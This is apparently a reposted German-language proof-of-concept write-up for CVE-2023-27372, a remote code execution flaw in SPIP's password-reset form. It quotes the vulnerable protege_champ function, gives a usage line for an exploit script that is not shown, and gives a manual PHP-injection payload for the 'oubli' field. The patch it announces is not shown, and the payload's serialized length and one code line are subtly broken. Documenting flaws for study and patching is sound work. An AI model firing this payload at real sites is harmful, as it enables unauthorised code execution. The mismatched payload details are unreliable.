Dieser PoC wurde schnell geschrieben, er ist nichts Besonderes.
Dieser Exploit nutzt die neue CVE-2023-27372 SPIP RCE-Schwachstelle aus.
Es handelt sich um einen Deserialisierungsfehler, der die gefährliche Verwendung des #ENV-Tags während der Passwort-Reset-Funktion (spip.php?page=spip_pass) in "/ecrire/balise/formulaire_.php" ausnutzt. Genauer gesagt diese Zeile:
Syntax: python3 exploit.py -u http(s)://url.com
root@kitploit:~
function protege_champ($texte){
if (is_array($texte))
$texte = array_map('protege_champ',$texte);
else {
// ne pas corrompre une valeur serialize
if (preg_match(",^[abis]:\d+[:;],", $texte) AND unserialize($texte)!=false)
return $texte;
$texte = entites_html($texte);
$texte = str_replace("'","'",$texte);
}
return $texte;
}
Die protege_champ-Funktion leidet unter verschiedenen Schwachstellen. Der reguläre Ausdruck (RE), der zur Validierung der Eingabe verwendet wird, ist fehlerhaft und kann leicht umgangen werden. Der Code ruft die unserialize-Funktion ohne ordnungsgemäße Validierung auf, was die Ausführung von beliebigem Code ermöglicht. Manuelle Ausnutzung kann äußerst einfach durchgeführt werden. Wenn wir zum Beispiel phpinfo(); ausführen wollen, können wir das tun:
root@kitploit:~
oubli=s:19:"<?phpinfo(); ?>";
Wenn der Server die erwartete Ausgabe zurückgibt, ist er verwundbar. Wie können wir patchen? Eigentlich recht einfach. Unten habe ich einen grundlegenden Patch geschrieben: